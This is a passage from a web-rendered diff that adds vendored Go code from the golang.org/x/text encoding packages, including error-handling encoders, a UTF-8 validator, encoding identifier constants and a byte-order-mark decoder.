func (replacementEncoder) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
r, size := rune(0), 0
|
||||
|
||||
for ; nSrc < len(src); nSrc += size {
|
||||
r = rune(src[nSrc])
|
||||
|
||||
// Decode a 1-byte rune.
|
||||
if r < utf8.RuneSelf {
|
||||
size = 1
|
||||
|
||||
} else {
|
||||
// Decode a multi-byte rune.
|
||||
r, size = utf8.DecodeRune(src[nSrc:])
|
||||
if size == 1 {
|
||||
// All valid runes of size 1 (those below utf8.RuneSelf) were
|
||||
// handled above. We have invalid UTF-8 or we haven't seen the
|
||||
// full character yet.
|
||||
if !atEOF && !utf8.FullRune(src[nSrc:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
r = '\ufffd'
|
||||
}
|
||||
}
|
||||
|
||||
if nDst+utf8.RuneLen(r) > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
nDst += utf8.EncodeRune(dst[nDst:], r)
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
// HTMLEscapeUnsupported wraps encoders to replace source runes outside the
|
||||
// repertoire of the destination encoding with HTML escape sequences.
|
||||
//
|
||||
// This wrapper exists to comply to URL and HTML forms requiring a
|
||||
// non-terminating legacy encoder. The produced sequences may lead to data
|
||||
// loss as they are indistinguishable from legitimate input. To avoid this
|
||||
// issue, use UTF-8 encodings whenever possible.
|
||||
func HTMLEscapeUnsupported(e *Encoder) *Encoder {
|
||||
return &Encoder{Transformer: &errorHandler{e, errorToHTML}}
|
||||
}
|
||||
|
||||
// ReplaceUnsupported wraps encoders to replace source runes outside the
|
||||
// repertoire of the destination encoding with an encoding-specific
|
||||
// replacement.
|
||||
//
|
||||
// This wrapper is only provided for backwards compatibility and legacy
|
||||
// handling. Its use is strongly discouraged. Use UTF-8 whenever possible.
|
||||
func ReplaceUnsupported(e *Encoder) *Encoder {
|
||||
return &Encoder{Transformer: &errorHandler{e, errorToReplacement}}
|
||||
}
|
||||
|
||||
type errorHandler struct {
|
||||
*Encoder
|
||||
handler func(dst []byte, r rune, err repertoireError) (n int, ok bool)
|
||||
}
|
||||
|
||||
// TODO: consider making this error public in some form.
|
||||
type repertoireError interface {
|
||||
Replacement() byte
|
||||
}
|
||||
|
||||
func (h errorHandler) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
nDst, nSrc, err = h.Transformer.Transform(dst, src, atEOF)
|
||||
for err != nil {
|
||||
rerr, ok := err.(repertoireError)
|
||||
if !ok {
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
r, sz := utf8.DecodeRune(src[nSrc:])
|
||||
n, ok := h.handler(dst[nDst:], r, rerr)
|
||||
if !ok {
|
||||
return nDst, nSrc, transform.ErrShortDst
|
||||
}
|
||||
err = nil
|
||||
nDst += n
|
||||
if nSrc += sz; nSrc < len(src) {
|
||||
var dn, sn int
|
||||
dn, sn, err = h.Transformer.Transform(dst[nDst:], src[nSrc:], atEOF)
|
||||
nDst += dn
|
||||
nSrc += sn
|
||||
}
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
|
||||
func errorToHTML(dst []byte, r rune, err repertoireError) (n int, ok bool) {
|
||||
buf := [8]byte{}
|
||||
b := strconv.AppendUint(buf[:0], uint64(r), 10)
|
||||
if n = len(b) + len("&#;"); n >= len(dst) {
|
||||
return 0, false
|
||||
}
|
||||
dst[0] = '&'
|
||||
dst[1] = '#'
|
||||
dst[copy(dst[2:], b)+2] = ';'
|
||||
return n, true
|
||||
}
|
||||
|
||||
func errorToReplacement(dst []byte, r rune, err repertoireError) (n int, ok bool) {
|
||||
if len(dst) == 0 {
|
||||
return 0, false
|
||||
}
|
||||
dst[0] = err.Replacement()
|
||||
return 1, true
|
||||
}
|
||||
|
||||
// ErrInvalidUTF8 means that a transformer encountered invalid UTF-8.
|
||||
var ErrInvalidUTF8 = errors.New("encoding: invalid UTF-8")
|
||||
|
||||
// UTF8Validator is a transformer that returns ErrInvalidUTF8 on the first
|
||||
// input byte that is not valid UTF-8.
|
||||
var UTF8Validator transform.Transformer = utf8Validator{}
|
||||
|
||||
type utf8Validator struct{ transform.NopResetter }
|
||||
|
||||
func (utf8Validator) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
n := len(src)
|
||||
if n > len(dst) {
|
||||
n = len(dst)
|
||||
}
|
||||
for i := 0; i < n; {
|
||||
if c := src[i]; c < utf8.RuneSelf {
|
||||
dst[i] = c
|
||||
i++
|
||||
continue
|
||||
}
|
||||
_, size := utf8.DecodeRune(src[i:])
|
||||
if size == 1 {
|
||||
// All valid runes of size 1 (those below utf8.RuneSelf) were
|
||||
// handled above. We have invalid UTF-8 or we haven't seen the
|
||||
// full character yet.
|
||||
err = ErrInvalidUTF8
|
||||
if !atEOF && !utf8.FullRune(src[i:]) {
|
||||
err = transform.ErrShortSrc
|
||||
}
|
||||
return i, i, err
|
||||
}
|
||||
if i+size > len(dst) {
|
||||
return i, i, transform.ErrShortDst
|
||||
}
|
||||
for ; size > 0; size-- {
|
||||
dst[i] = src[i]
|
||||
i++
|
||||
}
|
||||
}
|
||||
if len(src) > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
}
|
||||
return n, n, err
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:generate go run gen.go
|
||||
|
||||
// Package identifier defines the contract between implementations of Encoding
|
||||
// and Index by defining identifiers that uniquely identify standardized coded
|
||||
// character sets (CCS) and character encoding schemes (CES), which we will
|
||||
// together refer to as encodings, for which Encoding implementations provide
|
||||
// converters to and from UTF-8. This package is typically only of concern to
|
||||
// implementers of Indexes and Encodings.
|
||||
//
|
||||
// One part of the identifier is the MIB code, which is defined by IANA and
|
||||
// uniquely identifies a CCS or CES. Each code is associated with data that
|
||||
// references authorities, official documentation as well as aliases and MIME
|
||||
// names.
|
||||
//
|
||||
// Not all CESs are covered by the IANA registry. The "other" string that is
|
||||
// returned by ID can be used to identify other character sets or versions of
|
||||
// existing ones.
|
||||
//
|
||||
// It is recommended that each package that provides a set of Encodings provide
|
||||
// the All and Common variables to reference all supported encodings and
|
||||
// commonly used subset. This allows Index implementations to include all
|
||||
// available encodings without explicitly referencing or knowing about them.
|
||||
package identifier
|
||||
|
||||
// Note: this package is internal, but could be made public if there is a need
|
||||
// for writing third-party Indexes and Encodings.
|
||||
|
||||
// References:
|
||||
// - http://source.icu-project.org/repos/icu/icu/trunk/source/data/mappings/convrtrs.txt
|
||||
// - http://www.iana.org/assignments/character-sets/character-sets.xhtml
|
||||
// - http://www.iana.org/assignments/ianacharset-mib/ianacharset-mib
|
||||
// - http://www.ietf.org/rfc/rfc2978.txt
|
||||
// - https://www.unicode.org/reports/tr22/
|
||||
// - http://www.w3.org/TR/encoding/
|
||||
// - https://encoding.spec.whatwg.org/
|
||||
// - https://encoding.spec.whatwg.org/encodings.json
|
||||
// - https://tools.ietf.org/html/rfc6657#section-5
|
||||
|
||||
// Interface can be implemented by Encodings to define the CCS or CES for which
|
||||
// it implements conversions.
|
||||
type Interface interface {
|
||||
// ID returns an encoding identifier. Exactly one of the mib and other
|
||||
// values should be non-zero.
|
||||
//
|
||||
// In the usual case it is only necessary to indicate the MIB code. The
|
||||
// other string can be used to specify encodings for which there is no MIB,
|
||||
// such as "x-mac-dingbat".
|
||||
//
|
||||
// The other string may only contain the characters a-z, A-Z, 0-9, - and _.
|
||||
ID() (mib MIB, other string)
|
||||
|
||||
// NOTE: the restrictions on the encoding are to allow extending the syntax
|
||||
// with additional information such as versions, vendors and other variants.
|
||||
}
|
||||
|
||||
// A MIB identifies an encoding. It is derived from the IANA MIB codes and adds
|
||||
// some identifiers for some encodings that are not covered by the IANA
|
||||
// standard.
|
||||
//
|
||||
// See http://www.iana.org/assignments/ianacharset-mib.
|
||||
type MIB uint16
|
||||
|
||||
// These additional MIB types are not defined in IANA. They are added because
|
||||
// they are common and defined within the text repo.
|
||||
const (
|
||||
// Unofficial marks the start of encodings not registered by IANA.
|
||||
Unofficial MIB = 10000 + iota
|
||||
|
||||
// Replacement is the WhatWG replacement encoding.
|
||||
Replacement
|
||||
|
||||
// XUserDefined is the code for x-user-defined.
|
||||
XUserDefined
|
||||
|
||||
// MacintoshCyrillic is the code for x-mac-cyrillic.
|
||||
MacintoshCyrillic
|
||||
)
|
||||
+1619
File diff suppressed because it is too large.
Load diff
+75
@@ -0,0 +1,75 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package internal contains code that is shared among encoding implementations.
|
||||
package internal
|
||||
|
||||
import (
|
||||
"golang.org/x/text/encoding"
|
||||
"golang.org/x/text/encoding/internal/identifier"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// Encoding is an implementation of the Encoding interface that adds the String
|
||||
// and ID methods to an existing encoding.
|
||||
type Encoding struct {
|
||||
encoding.Encoding
|
||||
Name string
|
||||
MIB identifier.MIB
|
||||
}
|
||||
|
||||
// _ verifies that Encoding implements identifier.Interface.
|
||||
var _ identifier.Interface = (*Encoding)(nil)
|
||||
|
||||
func (e *Encoding) String() string {
|
||||
return e.Name
|
||||
}
|
||||
|
||||
func (e *Encoding) ID() (mib identifier.MIB, other string) {
|
||||
return e.MIB, ""
|
||||
}
|
||||
|
||||
// SimpleEncoding is an Encoding that combines two Transformers.
|
||||
type SimpleEncoding struct {
|
||||
Decoder transform.Transformer
|
||||
Encoder transform.Transformer
|
||||
}
|
||||
|
||||
func (e *SimpleEncoding) NewDecoder() *encoding.Decoder {
|
||||
return &encoding.Decoder{Transformer: e.Decoder}
|
||||
}
|
||||
|
||||
func (e *SimpleEncoding) NewEncoder() *encoding.Encoder {
|
||||
return &encoding.Encoder{Transformer: e.Encoder}
|
||||
}
|
||||
|
||||
// FuncEncoding is an Encoding that combines two functions returning a new
|
||||
// Transformer.
|
||||
type FuncEncoding struct {
|
||||
Decoder func() transform.Transformer
|
||||
Encoder func() transform.Transformer
|
||||
}
|
||||
|
||||
func (e FuncEncoding) NewDecoder() *encoding.Decoder {
|
||||
return &encoding.Decoder{Transformer: e.Decoder()}
|
||||
}
|
||||
|
||||
func (e FuncEncoding) NewEncoder() *encoding.Encoder {
|
||||
return &encoding.Encoder{Transformer: e.Encoder()}
|
||||
}
|
||||
|
||||
// A RepertoireError indicates a rune is not in the repertoire of a destination
|
||||
// encoding. It is associated with an encoding-specific suggested replacement
|
||||
// byte.
|
||||
type RepertoireError byte
|
||||
|
||||
// Error implements the error interrface.
|
||||
func (r RepertoireError) Error() string {
|
||||
return "encoding: rune not supported by encoding."
|
||||
}
|
||||
|
||||
// Replacement returns the replacement string associated with this error.
|
||||
func (r RepertoireError) Replacement() byte { return byte(r) }
|
||||
|
||||
var ErrASCIIReplacement = RepertoireError(encoding.ASCIISub)
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package unicode
|
||||
|
||||
import (
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// BOMOverride returns a new decoder transformer that is identical to fallback,
|
||||
// except that the presence of a Byte Order Mark at the start of the input
|
||||
// causes it to switch to the corresponding Unicode decoding. It will only
|
||||
// consider BOMs for UTF-8, UTF-16BE, and UTF-16LE.
|
||||
//
|
||||
// This differs from using ExpectBOM by allowing a BOM to switch to UTF-8, not
|
||||
// just UTF-16 variants, and allowing falling back to any encoding scheme.
|
||||
//
|
||||
// This technique is recommended by the W3C for use in HTML 5: "For
|
||||
// compatibility with deployed content, the byte order mark (also known as BOM)
|
||||
// is considered more authoritative than anything else."
|
||||
// http://www.w3.org/TR/encoding/#specification-hooks
|
||||
//
|
||||
// Using BOMOverride is mostly intended for use cases where the first characters
|
||||
// of a fallback encoding are known to not be a BOM, for example, for valid HTML
|
||||
// and most encodings.
|
||||
func BOMOverride(fallback transform.Transformer) transform.Transformer {
|
||||
// TODO: possibly allow a variadic argument of unicode encodings to allow
|
||||
// specifying details of which fallbacks are supported as well as
|
||||
// specifying the details of the implementations. This would also allow for
|
||||
// support for UTF-32, which should not be supported by default.
|
||||
return &bomOverride{fallback: fallback}
|
||||
}
|
||||
|
||||
type bomOverride struct {
|
||||
fallback transform.Transformer
|
||||
current transform.Transformer
|
||||
}
|
||||
|
||||
func (d *bomOverride) Reset() {
|
||||
d.current = nil
|
||||
d.fallback.Reset()
|
||||
}
|
||||
|
||||
var (
|
||||
// TODO: we could use decode functions here, instead of allocating a new
|
||||
// decoder on every NewDecoder as IgnoreBOM decoders can be stateless.
|
||||
utf16le = UTF16(LittleEndian, IgnoreBOM)
|
||||
utf16be = UTF16(BigEndian, IgnoreBOM)
|
||||
)
|
||||
|
||||
const utf8BOM = "\ufeff"
|
||||
|
||||
func (d *bomOverride) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
if d.current != nil {
|
||||
return d.current.Transform(dst, src, atEOF)
|
||||
}
|
||||
if len(src) < 3 && !atEOF {
|
||||
return 0, 0, transform.ErrShortSrc
|
||||
}
|
||||
d.current = d.fallback
|
||||
bomSize := 0
|
||||
if len(src) >= 2 {
|
||||
if src[0] == 0xFF && src[1] == 0xFE {
|
||||
d.current = utf16le.NewDecoder()
|
||||
bomSize = 2
|
||||
} else if src[0] == 0xFE && src[1] == 0xFF {
|
||||
d.current = utf16be.NewDecoder()
|
||||
bomSize = 2
|
||||
} else if len(src) >= 3 &&
|
||||
src[0] == utf8BOM[0] &&
|
||||
src[1] == utf8BOM[1] &&
|
||||
src[2] == utf8BOM[2] {
|
||||
d.current = transform.Nop
|
||||
bomSize = 3
|
||||
}
|
||||
}
|
||||
if bomSize < len(src) {
|
||||
nDst, nSrc, err = d.current.Transform(dst, src[bomSize:], atEOF)
|
||||
}
|
||||
return nDst, nSrc + bomSize, err
|
||||
}
|
||||
Loaded 100 of 580 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user